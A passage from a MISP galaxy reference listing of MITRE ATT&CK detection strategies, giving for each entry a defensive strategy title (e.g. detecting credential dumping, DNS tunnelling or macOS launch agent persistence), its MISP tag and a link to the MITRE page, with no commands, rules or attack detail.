The tag is: *misp-galaxy:x-mitre-detection-strategy="Suspicious Database Access and Dump Activity Across Environments (T1213.006) - DET0242"*

Table 9949. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0242

Behavior-chain detection for T1134.003 Make and Impersonate Token (Windows) - DET0498

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection for T1134.003 Make and Impersonate Token (Windows) - DET0498"*

Table 9950. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0498

Detection Strategy for Temporary Elevated Cloud Access Abuse (T1548.005) - DET0393

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Temporary Elevated Cloud Access Abuse (T1548.005) - DET0393"*

Table 9951. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0393

Detection Strategy for Event Triggered Execution via Trap (T1546.005) - DET0369

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Event Triggered Execution via Trap (T1546.005) - DET0369"*

Table 9952. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0369

Detecting MMC (.msc) Proxy Execution and Malicious COM Activation - DET0222

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting MMC (.msc) Proxy Execution and Malicious COM Activation - DET0222"*

Table 9953. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0222

Behavioral Detection Strategy for Use Alternate Authentication Material (T1550) - DET0338

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection Strategy for Use Alternate Authentication Material (T1550) - DET0338"*

Table 9954. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0338

Detection Strategy for Launch Daemon Creation or Modification (macOS) - DET0401

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Launch Daemon Creation or Modification (macOS) - DET0401"*

Table 9955. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0401

Detection Strategy for SNMP (MIB Dump) on Network Devices - DET0453

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for SNMP (MIB Dump) on Network Devices - DET0453"*

Table 9956. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0453

Detection Strategy for Event Triggered Execution: AppInit DLLs (Windows) - DET0557

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Event Triggered Execution: AppInit DLLs (Windows) - DET0557"*

Table 9957. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0557

Virtualization/Sandbox Evasion via System Checks across Windows, Linux, macOS - DET0168

The tag is: *misp-galaxy:x-mitre-detection-strategy="Virtualization/Sandbox Evasion via System Checks across Windows, Linux, macOS - DET0168"*

Table 9958. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0168

IDE Tunneling Detection via Process, File, and Network Behaviors - DET0133

The tag is: *misp-galaxy:x-mitre-detection-strategy="IDE Tunneling Detection via Process, File, and Network Behaviors - DET0133"*

Table 9959. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0133

Cloud Account Enumeration via API, CLI, and Scripting Interfaces - DET0386

The tag is: *misp-galaxy:x-mitre-detection-strategy="Cloud Account Enumeration via API, CLI, and Scripting Interfaces - DET0386"*

Table 9960. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0386

Detect ARP Cache Poisoning Across Linux, Windows, and macOS - DET0387

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect ARP Cache Poisoning Across Linux, Windows, and macOS - DET0387"*

Table 9961. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0387

Behavior-chain, platform-aware detection strategy for T1124 System Time Discovery - DET0151

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain, platform-aware detection strategy for T1124 System Time Discovery - DET0151"*

Table 9962. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0151

Right-to-Left Override Masquerading Detection via Filename and Execution Context - DET0527

The tag is: *misp-galaxy:x-mitre-detection-strategy="Right-to-Left Override Masquerading Detection via Filename and Execution Context - DET0527"*

Table 9963. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0527

T1136.002 Detection Strategy - Domain Account Creation Across Platforms - DET0003

The tag is: *misp-galaxy:x-mitre-detection-strategy="T1136.002 Detection Strategy - Domain Account Creation Across Platforms - DET0003"*

Table 9964. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0003

T1136.001 Detection Strategy - Local Account Creation Across Platforms - DET0447

The tag is: *misp-galaxy:x-mitre-detection-strategy="T1136.001 Detection Strategy - Local Account Creation Across Platforms - DET0447"*

Table 9965. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0447

Linux Detection Strategy for T1547.013 - XDG Autostart Entries - DET0390

The tag is: *misp-galaxy:x-mitre-detection-strategy="Linux Detection Strategy for T1547.013 - XDG Autostart Entries - DET0390"*

Table 9966. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0390

Cross-Platform Detection of Scheduled Task/Job Abuse via `at` Utility - DET0333

The tag is: *misp-galaxy:x-mitre-detection-strategy="Cross-Platform Detection of Scheduled Task/Job Abuse via `at` Utility - DET0333"*

Table 9967. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0333

Detect Shell Configuration Modification for Persistence via Event-Triggered Execution - DET0020

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Shell Configuration Modification for Persistence via Event-Triggered Execution - DET0020"*

Table 9968. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0020

Behavior-chain detection for T1134 Access Token Manipulation on Windows - DET0283

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain detection for T1134 Access Token Manipulation on Windows - DET0283"*

Table 9969. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0283

Detection Strategy for T1528 - Steal Application Access Token - DET0515

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1528 - Steal Application Access Token - DET0515"*

Table 9970. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0515

Detection of Direct VM Console Access via Cloud-Native Methods - DET0211

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Direct VM Console Access via Cloud-Native Methods - DET0211"*

Table 9971. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0211

Detection Strategy for T1136 - Create Account across platforms - DET0583

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1136 - Create Account across platforms - DET0583"*

Table 9972. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0583

Exploitation of Remote Services – multi-platform lateral movement detection - DET0118

The tag is: *misp-galaxy:x-mitre-detection-strategy="Exploitation of Remote Services – multi-platform lateral movement detection - DET0118"*

Table 9973. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0118

Cross-Platform Behavioral Detection of File Timestomping via Metadata Tampering - DET0591

The tag is: *misp-galaxy:x-mitre-detection-strategy="Cross-Platform Behavioral Detection of File Timestomping via Metadata Tampering - DET0591"*

Table 9974. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0591

Masquerading via Space After Filename - Behavioral Detection Strategy - DET0292

The tag is: *misp-galaxy:x-mitre-detection-strategy="Masquerading via Space After Filename - Behavioral Detection Strategy - DET0292"*

Table 9975. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0292

Detect Evil Twin Wi-Fi Access Points on Network Devices - DET0379

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Evil Twin Wi-Fi Access Points on Network Devices - DET0379"*

Table 9976. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0379

Detection of Script-Based Proxy Execution via Signed Microsoft Utilities - DET0466

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Script-Based Proxy Execution via Signed Microsoft Utilities - DET0466"*

Table 9977. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0466

Email Collection via Local Email Access and Auto-Forwarding Behavior - DET0476

The tag is: *misp-galaxy:x-mitre-detection-strategy="Email Collection via Local Email Access and Auto-Forwarding Behavior - DET0476"*

Table 9978. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0476

Detection Strategy for SQL Stored Procedures Abuse via T1505.001 - DET0181

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for SQL Stored Procedures Abuse via T1505.001 - DET0181"*

Table 9979. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0181

Detection Strategy for T1547.015 – Login Items on macOS - DET0121

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1547.015 – Login Items on macOS - DET0121"*

Table 9980. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0121

Detection Strategy for PowerShell Profile Persistence via profile.ps1 Modification - DET0451

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for PowerShell Profile Persistence via profile.ps1 Modification - DET0451"*

Table 9981. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0451

Detection Strategy for Hijack Execution Flow across OS platforms. - DET0218

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow across OS platforms. - DET0218"*

Table 9982. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0218

Detection Strategy for Stored Data Manipulation across OS Platforms. - DET0193

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Stored Data Manipulation across OS Platforms. - DET0193"*

Table 9983. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0193

Detection Strategy for Dynamic Resolution using Domain Generation Algorithms. - DET0419

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Dynamic Resolution using Domain Generation Algorithms. - DET0419"*

Table 9984. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0419

Detection of Suspicious Compiled HTML File Execution via hh.exe - DET0342

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Suspicious Compiled HTML File Execution via hh.exe - DET0342"*

Table 9985. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0342

Detection Strategy for Disk Structure Wipe via Boot/Partition Overwrite - DET0297

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Disk Structure Wipe via Boot/Partition Overwrite - DET0297"*

Table 9986. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0297

Indirect Command Execution – Windows utility abuse behavior chain - DET0200

The tag is: *misp-galaxy:x-mitre-detection-strategy="Indirect Command Execution – Windows utility abuse behavior chain - DET0200"*

Table 9987. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0200

Behavioral Detection of DNS Tunneling and Application Layer Abuse - DET0400

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of DNS Tunneling and Application Layer Abuse - DET0400"*

Table 9988. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0400

Behavioral Detection of Remote Cloud Logins via Valid Accounts - DET0008

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Remote Cloud Logins via Valid Accounts - DET0008"*

Table 9989. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0008

Detecting Junk Data in C2 Channels via Behavioral Analysis - DET0011

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Junk Data in C2 Channels via Behavioral Analysis - DET0011"*

Table 9990. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0011

Behavioral Detection of PE Injection via Remote Memory Mapping - DET0106

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of PE Injection via Remote Memory Mapping - DET0106"*

Table 9991. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0106

Detection Strategy for Modify System Image on Network Devices - DET0170

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Modify System Image on Network Devices - DET0170"*

Table 9992. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0170

Detection Strategy for Disable or Modify Linux Audit System - DET0062

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Disable or Modify Linux Audit System - DET0062"*

Table 9993. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0062

Endpoint Resource Saturation and Crash Pattern Detection Across Platforms - DET0208

The tag is: *misp-galaxy:x-mitre-detection-strategy="Endpoint Resource Saturation and Crash Pattern Detection Across Platforms - DET0208"*

Table 9994. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0208

Suspicious Device Registration via Entra ID or MFA Platform - DET0036

The tag is: *misp-galaxy:x-mitre-detection-strategy="Suspicious Device Registration via Entra ID or MFA Platform - DET0036"*

Table 9995. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0036

Recursive Enumeration of Files and Directories Across Privilege Contexts - DET0370

The tag is: *misp-galaxy:x-mitre-detection-strategy="Recursive Enumeration of Files and Directories Across Privilege Contexts - DET0370"*

Table 9996. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0370

Detection Strategy for Kernel Modules and Extensions Autostart Execution - DET0450

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Kernel Modules and Extensions Autostart Execution - DET0450"*

Table 9997. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0450

Credential Stuffing Detection via Reused Breached Credentials Across Services - DET0460

The tag is: *misp-galaxy:x-mitre-detection-strategy="Credential Stuffing Detection via Reused Breached Credentials Across Services - DET0460"*

Table 9998. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0460

Detect Use of Stolen Web Session Cookies Across Platforms - DET0074

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Use of Stolen Web Session Cookies Across Platforms - DET0074"*

Table 9999. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0074

Detecting Suspicious Access to CRM Data in SaaS Environments - DET0550

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detecting Suspicious Access to CRM Data in SaaS Environments - DET0550"*

Table 10000. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0550

Detect Suspicious Access to securityd Memory for Credential Extraction - DET0057

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Suspicious Access to securityd Memory for Credential Extraction - DET0057"*

Table 10001. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0057

Detection of Application Window Enumeration via API or Scripting - DET0097

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Application Window Enumeration via API or Scripting - DET0097"*

Table 10002. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0097

Behavioral Detection of Local Group Enumeration Across OS Platforms - DET0114

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Local Group Enumeration Across OS Platforms - DET0114"*

Table 10003. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0114

Detection of Data Access and Collection from Removable Media - DET0511

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Data Access and Collection from Removable Media - DET0511"*

Table 10004. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0511

Behavioral Detection of Systemd Timer Abuse for Scheduled Execution - DET0231

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection of Systemd Timer Abuse for Scheduled Execution - DET0231"*

Table 10005. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0231

Detect Access or Search for Unsecured Credentials Across Platforms - DET0412

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Access or Search for Unsecured Credentials Across Platforms - DET0412"*

Table 10006. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0412

Detection Strategy for SSH Key Injection in Authorized Keys - DET0126

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for SSH Key Injection in Authorized Keys - DET0126"*

Table 10007. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0126

Detection Strategy for Endpoint DoS via Service Exhaustion Flood - DET0173

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Endpoint DoS via Service Exhaustion Flood - DET0173"*

Table 10008. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0173

Detection Strategy for Lateral Tool Transfer across OS platforms - DET0183

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Lateral Tool Transfer across OS platforms - DET0183"*

Table 10009. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0183

Detection Strategy for Cloud Service Hijacking via SaaS Abuse - DET0147

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Cloud Service Hijacking via SaaS Abuse - DET0147"*

Table 10010. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0147

Peripheral Device Enumeration via System Utilities and API Calls - DET0491

The tag is: *misp-galaxy:x-mitre-detection-strategy="Peripheral Device Enumeration via System Utilities and API Calls - DET0491"*

Table 10011. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0491

Detection of System Process Creation or Modification Across Platforms - DET0571

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of System Process Creation or Modification Across Platforms - DET0571"*

Table 10012. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0571

Firmware Modification via Flash Tool or Corrupted Firmware Upload - DET0167

The tag is: *misp-galaxy:x-mitre-detection-strategy="Firmware Modification via Flash Tool or Corrupted Firmware Upload - DET0167"*

Table 10013. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0167

Local Storage Discovery via Drive Enumeration and Filesystem Probing - DET0188

The tag is: *misp-galaxy:x-mitre-detection-strategy="Local Storage Discovery via Drive Enumeration and Filesystem Probing - DET0188"*

Table 10014. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0188

Enumeration of Global Address Lists via Email Account Discovery - DET0229

The tag is: *misp-galaxy:x-mitre-detection-strategy="Enumeration of Global Address Lists via Email Account Discovery - DET0229"*

Table 10015. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0229

Detection Strategy for Modify Cloud Compute Infrastructure: Create Snapshot - DET0423

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Modify Cloud Compute Infrastructure: Create Snapshot - DET0423"*

Table 10016. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0423

Credential Dumping via Sensitive Memory and Registry Access Correlation - DET0234

The tag is: *misp-galaxy:x-mitre-detection-strategy="Credential Dumping via Sensitive Memory and Registry Access Correlation - DET0234"*

Table 10017. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0234

External Proxy Behavior via Outbound Relay to Intermediate Infrastructure - DET0325

The tag is: *misp-galaxy:x-mitre-detection-strategy="External Proxy Behavior via Outbound Relay to Intermediate Infrastructure - DET0325"*

Table 10018. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0325

Detection of Systemd Service Creation or Modification on Linux - DET0253

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Systemd Service Creation or Modification on Linux - DET0253"*

Table 10019. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0253

Detection Strategy for AppCert DLLs Persistence via Registry Injection - DET0362

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for AppCert DLLs Persistence via Registry Injection - DET0362"*

Table 10020. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0362

Defacement via File and Web Content Modification Across Platforms - DET0238

The tag is: *misp-galaxy:x-mitre-detection-strategy="Defacement via File and Web Content Modification Across Platforms - DET0238"*

Table 10021. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0238

Registry and LSASS Monitoring for Security Support Provider Abuse - DET0542

The tag is: *misp-galaxy:x-mitre-detection-strategy="Registry and LSASS Monitoring for Security Support Provider Abuse - DET0542"*

Table 10022. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0542

Detection of Direct Volume Access for File System Evasion - DET0426

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Direct Volume Access for File System Evasion - DET0426"*

Table 10023. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0426

Detect Adversary Deobfuscation or Decoding of Files and Payloads - DET0275

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Adversary Deobfuscation or Decoding of Files and Payloads - DET0275"*

Table 10024. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0275

Detection of Launch Agent Creation or Modification on macOS - DET0434

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Launch Agent Creation or Modification on macOS - DET0434"*

Table 10025. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0434

Detection Strategy for Hijack Execution Flow: Dynamic Linker Hijacking - DET0435

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Hijack Execution Flow: Dynamic Linker Hijacking - DET0435"*

Table 10026. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0435

Behavioral Detection Strategy for WMI Execution Abuse on Windows - DET0364

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection Strategy for WMI Execution Abuse on Windows - DET0364"*

Table 10027. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0364

Detection of System Service Discovery Commands Across OS Platforms - DET0483

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of System Service Discovery Commands Across OS Platforms - DET0483"*

Table 10028. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0483

Detection Strategy for Obfuscated Files or Information: Binary Padding - DET0553

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Obfuscated Files or Information: Binary Padding - DET0553"*

Table 10029. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0553

Behavioral Detection Strategy for Network Service Discovery Across Platforms - DET0376

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavioral Detection Strategy for Network Service Discovery Across Platforms - DET0376"*

Table 10030. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0376

Detection Strategy for Scheduled Transfer and Recurrent Exfiltration Patterns - DET0399

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Scheduled Transfer and Recurrent Exfiltration Patterns - DET0399"*

Table 10031. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0399

Detection of Command and Control Over Application Layer Protocols - DET0444

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Command and Control Over Application Layer Protocols - DET0444"*

Table 10032. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0444

Detection Strategy for Dynamic Resolution using Fast Flux DNS - DET0485

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Dynamic Resolution using Fast Flux DNS - DET0485"*

Table 10033. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0485

Detection of Unauthorized DCSync Operations via Replication API Abuse - DET0594

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection of Unauthorized DCSync Operations via Replication API Abuse - DET0594"*

Table 10034. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0594

Detection Strategy for Patch System Image on Network Devices - DET0469

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Patch System Image on Network Devices - DET0469"*

Table 10035. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0469

Distributed Password Spraying via Authentication Failures Across Multiple Accounts - DET0487

The tag is: *misp-galaxy:x-mitre-detection-strategy="Distributed Password Spraying via Authentication Failures Across Multiple Accounts - DET0487"*

Table 10036. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0487

Detection Strategy for Downgrade System Image on Network Devices - DET0569

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Downgrade System Image on Network Devices - DET0569"*

Table 10037. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0569

Detect Code Signing Policy Modification (Windows & macOS) - DET0523

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Code Signing Policy Modification (Windows & macOS) - DET0523"*

Table 10038. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0523

Drive-by Compromise — Behavior-based, Multi-platform Detection Strategy (T1189) - DET0176

The tag is: *misp-galaxy:x-mitre-detection-strategy="Drive-by Compromise — Behavior-based, Multi-platform Detection Strategy (T1189) - DET0176"*

Table 10039. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0176

Detect Remote Access via USB Hardware (TinyPilot, PiKVM) - DET0159

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Remote Access via USB Hardware (TinyPilot, PiKVM) - DET0159"*

Table 10040. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0159

User-Initiated Malicious Library Installation via Package Manager (T1204.005) - DET0252

The tag is: *misp-galaxy:x-mitre-detection-strategy="User-Initiated Malicious Library Installation via Package Manager (T1204.005) - DET0252"*

Table 10041. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0252

Detection Strategy for T1546.017 - Udev Rules (Linux) - DET0375

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1546.017 - Udev Rules (Linux) - DET0375"*

Table 10042. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0375

Detection Strategy for Multi-Factor Authentication Request Generation (T1621) - DET0160

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Multi-Factor Authentication Request Generation (T1621) - DET0160"*

Table 10043. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0160

Container CLI and API Abuse via Docker/Kubernetes (T1059.013) - DET0083

The tag is: *misp-galaxy:x-mitre-detection-strategy="Container CLI and API Abuse via Docker/Kubernetes (T1059.013) - DET0083"*

Table 10044. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0083

Detection Strategy for T1547.009 – Shortcut Modification (Windows) - DET0180

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1547.009 – Shortcut Modification (Windows) - DET0180"*

Table 10045. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0180

Detect Kerberos Ccache File Theft or Abuse (T1558.005) - DET0024

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Kerberos Ccache File Theft or Abuse (T1558.005) - DET0024"*

Table 10046. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0024

Detection Strategy for NTFS File Attribute Abuse (ADS/EAs) - DET0432

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for NTFS File Attribute Abuse (ADS/EAs) - DET0432"*

Table 10047. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0432

Detect Access to Cloud Instance Metadata API (IaaS) - DET0001

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Access to Cloud Instance Metadata API (IaaS) - DET0001"*

Table 10048. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0001

Detect Archiving and Encryption of Collected Data (T1560) - DET0526

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Archiving and Encryption of Collected Data (T1560) - DET0526"*

Table 10049. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0526

Detect persistence via reopened application plist modification (macOS) - DET0125

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect persistence via reopened application plist modification (macOS) - DET0125"*

Table 10050. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0125

Detect Domain Controller Authentication Process Modification (Skeleton Key) - DET0271

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Domain Controller Authentication Process Modification (Skeleton Key) - DET0271"*

Table 10051. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0271

Detection Strategy for Abuse Elevation Control Mechanism (T1548) - DET0345

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for Abuse Elevation Control Mechanism (T1548) - DET0345"*

Table 10052. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0345

Detect Malicious Modification of Pluggable Authentication Modules (PAM) - DET0454

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect Malicious Modification of Pluggable Authentication Modules (PAM) - DET0454"*

Table 10053. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0454

Detect DHCP Spoofing Across Linux, Windows, and macOS - DET0468

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detect DHCP Spoofing Across Linux, Windows, and macOS - DET0468"*

Table 10054. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0468

Behavior-chain, platform-aware detection strategy for T1129 Shared Modules - DET0018

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain, platform-aware detection strategy for T1129 Shared Modules - DET0018"*

Table 10055. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0018

Behavior-chain, platform-aware detection strategy for T1125 Video Capture - DET0197

The tag is: *misp-galaxy:x-mitre-detection-strategy="Behavior-chain, platform-aware detection strategy for T1125 Video Capture - DET0197"*

Table 10056. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0197

Internal Proxy Behavior via Lateral Host-to-Host C2 Relay - DET0075

The tag is: *misp-galaxy:x-mitre-detection-strategy="Internal Proxy Behavior via Lateral Host-to-Host C2 Relay - DET0075"*

Table 10057. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0075

Multi-Platform Detection Strategy for T1678 - Delay Execution - DET0372

The tag is: *misp-galaxy:x-mitre-detection-strategy="Multi-Platform Detection Strategy for T1678 - Delay Execution - DET0372"*

Table 10058. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0372

Multi-Event Behavioral Detection for DCOM-Based Remote Code Execution - DET0285

The tag is: *misp-galaxy:x-mitre-detection-strategy="Multi-Event Behavioral Detection for DCOM-Based Remote Code Execution - DET0285"*

Table 10059. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0285

Detection Strategy for T1505.004 - Malicious IIS Components - DET0068

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1505.004 - Malicious IIS Components - DET0068"*

Table 10060. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0068

Detection Strategy for T1542.001 Pre-OS Boot: System Firmware - DET0099

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1542.001 Pre-OS Boot: System Firmware - DET0099"*

Table 10061. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0099

Detection Strategy for T1542.002 Pre-OS Boot: Component Firmware - DET0323

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1542.002 Pre-OS Boot: Component Firmware - DET0323"*

Table 10062. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0323

Detection Strategy for T1542.005 Pre-OS Boot: TFTP Boot - DET0582

The tag is: *misp-galaxy:x-mitre-detection-strategy="Detection Strategy for T1542.005 Pre-OS Boot: TFTP Boot - DET0582"*

Table 10063. Table References

Links
